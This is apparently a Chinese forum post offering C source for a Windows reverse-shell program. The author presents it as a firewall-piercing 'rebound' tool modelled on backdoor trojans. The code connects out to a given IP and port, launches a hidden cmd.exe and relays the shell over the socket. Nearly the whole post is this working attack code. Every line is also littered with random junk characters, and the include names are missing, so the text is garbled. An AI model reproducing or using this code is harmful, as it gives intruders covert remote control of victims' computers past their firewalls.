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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +Y9D!=_lj  
_<F@(M5  
/* ============================== TgE.=`"7  
Rebound port in Windows NT 'A(-MTd%  
By wind,2006/7 \ Q8q9|g?]  
===============================*/ p z+}7  
#include 4i\aW:_'i  
#include ^=Tu>{uD  
h8= MVh(I  
#pragma comment(lib,"wsock32.lib") <T.#A8c  
C\ 2 >7  
void OutputShell(); UFAMbI  
SOCKET sClient; ?CW^*So  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P}WhE  
X`v79`g_  
void main(int argc,char **argv) FlA\Ad;v  
{ l)PFzIz=V  
WSADATA stWsaData; vua1iN1  
int nRet; aco}pXz  
SOCKADDR_IN stSaiClient,stSaiServer; l^y?L4hg)  
<_{4-Q>S3#  
if(argc != 3) fRa-bqQ  
{ RQ)!KlY  
printf("Useage:\n\rRebound DestIP DestPort\n"); IfmIX+t?  
return; 9Bvn>+_K  
} C`~4q<W'  
F;&f x(  
WSAStartup(MAKEWORD(2,2),&stWsaData); 9k+&fyy  
(T#(A4:6S  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vl{_M*w ;  
;0Ct\[eh  
stSaiClient.sin_family = AF_INET; OG?j6q hpl  
stSaiClient.sin_port = htons(0); tqwk?[y}+l  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IJBJebqL  
p<0kmA<B/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )>X|o$2  
{ . I&)MZ>n  
printf("Bind Socket Failed!\n"); &~JfDe9IS  
return; g*r{!:,t  
} %f> |fs  
[cL U*:  
stSaiServer.sin_family = AF_INET; =.f +}y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >5~Zr$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); iI@Gyq=  
am'p^Z @  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `\4JwiPo  
{ Wh'_ slDH+  
printf("Connect Error!"); ;GgQ@s@  
return; 2*FWIHyf  
} D.&eM4MZ  
OutputShell(); ~SR(K{nf#.  
} mA] 84zO  
+?5Uy*$  
void OutputShell() hzuMTKH9  
{ ND55`KT4  
char szBuff[1024]; o +QzQ+ Z  
SECURITY_ATTRIBUTES stSecurityAttributes; lfpt:5a9&  
OSVERSIONINFO stOsversionInfo; p`<e~[]a  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; eYD9#y  
STARTUPINFO stStartupInfo; !Nxn[^[?.  
char *szShell; @F(3*5c_Y  
PROCESS_INFORMATION stProcessInformation; =y-!k)t  
unsigned long lBytesRead; 9>[.=  
j#nO6\&o  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8T.5Mhx0jS  
Ubw!/|mi  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); AR+\uD=\I-  
stSecurityAttributes.lpSecurityDescriptor = 0; [cTRz*\s  
stSecurityAttributes.bInheritHandle = TRUE; K@j^gF/0B  
c]aK N  
;/)Mcx]n  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); */5<L99v  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fdq^!MWTi  
6PQJgki  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z5yb$-j  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;*g*DIR  
stStartupInfo.wShowWindow = SW_HIDE; H6PXx  
stStartupInfo.hStdInput = hReadPipe; !AD0 -fZ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TA@tRGP>  
)(?UA$"  
GetVersionEx(&stOsversionInfo); d[>N6?JA/  
+zVcOS*-  
switch(stOsversionInfo.dwPlatformId) 2NA rE@  
{ sQ>B_Y!  
case 1: b!^M}s6  
szShell = "command.com"; RZ<+AX9R  
break; %+7T9>+  
default: Vr/` \441  
szShell = "cmd.exe"; ZXsY-5$#d-  
break; JW%/^'  
} 94'k 7_q  
)S wG+k,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V$Xl^#tN  
/:Z~"Q*r  
send(sClient,szMsg,77,0); _8NEwwhc  
while(1) ;1R?9JN"  
{ X8,7_D$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %g]$Vfpy  
if(lBytesRead) ?LV-W  
{ _/N'I7g  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0x>/6 <<  
send(sClient,szBuff,lBytesRead,0); V$-~%7@>;9  
} 1|l)gfcP  
else VT5cxB<  
{ <>T&ab@dE(  
lBytesRead=recv(sClient,szBuff,1024,0); =;k+g?.@I  
if(lBytesRead<=0) break; ni"$[8U  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); tkdBlG]!  
} k binf  
} :p\(y  
 zU4V^N'  
return; wzDk{4U  
}
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